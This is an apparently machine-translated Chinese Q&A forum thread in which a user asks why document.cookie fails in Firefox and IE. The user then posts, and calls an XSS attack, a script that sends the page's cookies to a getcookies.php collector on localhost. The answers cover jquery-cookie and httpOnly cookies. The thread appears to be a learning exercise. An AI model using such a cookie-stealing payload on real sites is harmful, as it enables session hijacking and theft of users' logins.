2012-05-08 164 views
0

我必須使用JavaScript來讀取cookie。我正在使用document.cookie來做同樣的事情。但該方法僅適用於谷歌瀏覽器,而不適用於Firefox和IE 8/9。所有的網頁也顯示document.cookie作爲一種方式來做到這一點。無法在Firefox和IE中讀取Cookie

如何使用JavaScript在Firefox和IE中獲取cookie?

感謝

UPDATE 我測試在本地主機上我的代碼。在線測試代碼blogspot.com,它甚至沒有在Chrome上工作。

任何方式,這裏的HTML代碼:

<script type="text/javascript"> 
    function sendCookies(){ 
     document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie); 
    } 
</script> 
<a onclick="sendCookies()" href="#"> 
click here </a> to know about XSS attack. 

在調試在瀏覽器中document.cookie,它顯示只有鉻值。如果我將本地主機替換爲在線鏈接,即使在Chrome上,document.cookie也是空的。

你可能的猜測是正確的。這是一種跨站腳本攻擊。

對這段代碼的任何幫助對我都有好處?

更新2:

這裏的鏈接到它展示瞭如何執行XSS攻擊的視頻:使用jQuery的餅乾

How to perform XSS attack

+0

'document.cookie **是**的方式來做到這一點。如果它不起作用,那麼您對您正在閱讀的文檔或您嘗試閱讀的cookie的解釋可能存在錯誤。您需要提供更多關於您的具體問題的信息,以便人們提供更有用的幫助,然後鏈接到您所擁有的教程,據推測,這些教程已經閱讀。 – Quentin

回答

2

你試過嗎? https://github.com/carhartl/jquery-cookie 另外,請記住,您無法使用JavaScript閱讀僅含http的cookie。但是,如果您可以通過Chrome瀏覽器讀取cookie,則它不是僅限於http的cookie。您可以通過訪問chrome中的調試控制檯的資源選項卡並檢查HTTP列是否具有cookie的刻度標記來檢查cookie是否僅爲http。

+0

我沒有使用jquery.cookie.js。但它看起來像不會獲取所有的cookie,比如'$ .cookie()'。我只在提供一個密鑰時才提取cookie,比如'$ .cookie('key')'。因爲我必須閱讀像「document.cookie」這樣的所有cookies。 –

+0

@ kush.impetus事實上,這是錯誤的 - 它確實獲取所有cookie。你可以這樣做:'.cookie('cookie_name');'獲取值並設置一個:'.cookie('name','value',{expires:20});'閱讀這篇文章關於使用jQuery Cookie的一個很好的教程:http://www.electrictoolbox.com/jquery-cookies/ – Nathan

+0

謝謝Nathan。我試過你的代碼。現在,該網頁中的代碼所做的只是獲取我們使用$ .cookie(「key」,「value」)創建的cookie,而不是該瀏覽器中已存在的cookie。我再次使用Chrome來測試代碼。 Chrome顯示(在Developer Tools的Resources標籤中)已經存在的10-12個Cookie的域名是**。blogger.com **。此外,它顯示了我通過'.cookie(「key」,「value」)創建的cookie,但是它們的域名是** username.blogspot.in **。都在一個列表中。這也許就是爲什麼我無法獲取所有cookie的原因。你的評論? –